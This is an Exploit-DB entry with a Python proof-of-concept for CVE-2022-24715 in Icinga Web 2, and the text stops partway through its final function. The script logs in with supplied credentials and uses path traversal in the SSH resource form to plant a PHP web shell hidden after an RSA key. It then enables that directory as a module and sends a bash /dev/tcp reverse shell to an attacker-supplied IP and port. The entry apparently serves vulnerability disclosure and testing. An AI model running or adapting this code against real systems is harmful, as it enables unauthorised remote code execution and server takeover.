Exploit-DB #51586
Description: Icinga Web 2.10 - Authenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2023-07-15
Author: Dante Corona

Exploit:
#!/usr/bin/env python3

# Exploit Title: Icinga Web 2.10 - Authenticated Remote Code Execution 
# Date: 8/07/2023
# Exploit Author: Dante Corona(Aka. cxdxnt)
# Software Link: https://github.com/Icinga/icingaweb2
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icingaweb2
# Version: <2.8.6, <2.9.6, <2.10
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
# CVE: CVE-2022-24715
# Based on: https://nvd.nist.gov/vuln/detail/CVE-2022-24715

import requests,argparse,re,random,string
from colorama import Fore,Style

def letter_random():
    letras = string.ascii_lowercase
    character_random = random.choices(letras, k=6)
    return ''.join(character_random)


def users_url_password():
    parser = argparse.ArgumentParser(description='Descripción de tu programa.')
    parser.add_argument('-u', '--url',type=str,required=True, help='Insertar la URL http://ip_victima')
    parser.add_argument('-U', '--user',type=str, required=True ,help='Insertar usuario -U user')
    parser.add_argument('-P', '--password',type=str, required=True ,help='Insertar contraseña -P password')
    parser.add_argument('-i', '--ip',type=str,required=True,help='Insertar IP de atacante -i IP')
    parser.add_argument('-p','--port',type=str, required=True,help='Insertar puerto de atacante -p PORT')
    args = parser.parse_args()
    url = args.url
    user = args.user
    password=args.password
    ip_attack = args.ip 
    port_attack = args.port

    return url,user,password,ip_attack,port_attack

def login(url,user,password):
    try:
        login_url = url + "/icingaweb2/authentication/login"
        session = requests.Session()
        r = session.get(login_url)
        csrf_regex = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
        data_post = {"username":user,
                    "password":password,
                    "CSRFToken":csrf_regex,
                    "formUID":"form_login",
                    "btn_submit":"Login"
                    }
        response = session.post(login_url,data=data_post)
        if "Welcome to Icinga Web!" in response.text:
            print(f"{Fore.GREEN}[*]{Style.RESET_ALL}Session successfully.")
            r = session.get(login_url)
        else:
            print("[!]Failed to login.")
            exit(1)
        #return session,csrf_regex   
    except requests.exceptions.InvalidURL:
        print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} Error URL :(")
        exit(1)
    return session,csrf_regex

def upload_file(session,url,character_random,csrf_regex):
    webshell = f"""[CREDENTIAL_REDACTED]
MIIBOgIBAAJBAKj34GkxFhD90vcNLYLInFEX6Ppy1tPf9Cnzj4p4WGeKLs1Pt8Qu
KUpRKfFLfRYC9AIKjbJTWit+CqvjWYzvQwECAwEAAQJAIJLixBy2qpFoS4DSmoEm
o3qGy0t6z09AIJtH+5OeRV1be+N4cDYJKffGzDa88vQENZiRm0GRq6a+HPGQMd2k
TQIhAKMSvzIBnni7ot/OSie2TmJLY4SwTQAevXysE2RbFDYdAiEBCUEaRQnMnbp7
9mxDXDf6AU0cN/RPBjb9qSHDcWZHGzUCIG2Es59z8ugGrDY+pxLQnwfotadxd+Uy
v/Ow5T0q5gIJAiEAyS4RaI9YG8EWx/2w0T67ZUVAw8eOMB6BIUg0Xcu+3okCIBOs
/5OiPgoTdSy7bcF9IGpSE8ZgGKzgYQVZeN97YE00
-----END RSA PRIVATE KEY-----
<?php system($_REQUEST["%s"]);?>
"""%character_random
    upload_url = url + "/icingaweb2/config/createresource"
    r = session.get(upload_url)
    csrf = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
    data_post ={"type":"ssh",
                "name":"shm/"+character_random,
                "user":f"../../../../../../../../../../../dev/shm/{character_random}/run.php",
                "private_key":webshell,
                "formUID":"form_config_resource",
                "CSRFToken":csrf,
                "btn_submit":"Save Changes"
                }
    upload_response = session.post(upload_url,data=data_post)
    check = requests.get(url + f"/icingaweb2/lib/icinga/icinga-php-thirdparty/dev/shm/{character_random}/run.php")
    if check.status_code != 200 :
        print(f"{Fore.YELLOW}[!]{Style.RESET_ALL}Error uploading file. :(")
        exit(1)
    else:
        print(f"{Fore.GREEN}[*]{Style.RESET_ALL}File uploaded successfully.")
    
def enable_module(session,url,character_random):
    url_module = url+"/icingaweb2/config/general"
    r_module = session.get(url_module)
    csrf_module = re.findall(r'name="CSRFToken" value="([^"]*)"',r_module.text)[0]
    data_post = {"global_show_stacktraces":"0",
                 "global_show_stacktraces":"1",
                 "global_show_application_state_messages":"0",
                 "global_show_application_state_messages":"1",
                 "global_module_path":"/dev/shm/",
                 "global_config_resource":"icingaweb2",
                 "logging_log":"none",
                 "themes_default":"Icinga",
                 "themes_disabled":"0",
                 "authentication_default_domain":"",
                 "formUID":"form_config_general",
                 "CSRFToken":f"{csrf_module}",
                 "btn_submit":"Save Changes"
                 }
                 
    resul = session.post(url_module,data_post)
    #--------------------------------------------------
    url_enable = url +"/icingaweb2/config/moduleenable"
    r_enable = session.get(url_enable)
    csrf_enable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_enable.text)[0]
    data_enable = {"identifier":f"{character_random}","CSRFToken":f"{csrf_enable}","btn_submit":"btn_submit"}
    resul_enable = session.post(url_enable,data_enable)


def reverse_shell(session,url,ip_attack,port_attack,character_random):
    reverse_url = url + "/icingaweb2/dashboard"
    reverse_exe_one = reverse_url + f'?{character_random}=echo+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{ip_attack}%2F{port_attack}%200%3E%261"+>+/tmp/{character_random}'
    reverse_exe_two = reverse_url + f"?{character_random}=bash+/tmp/{character_random} &"
    reverse_response_one = session.get(reverse_exe_one)
    try:
        reverse_response_two = session.get(reve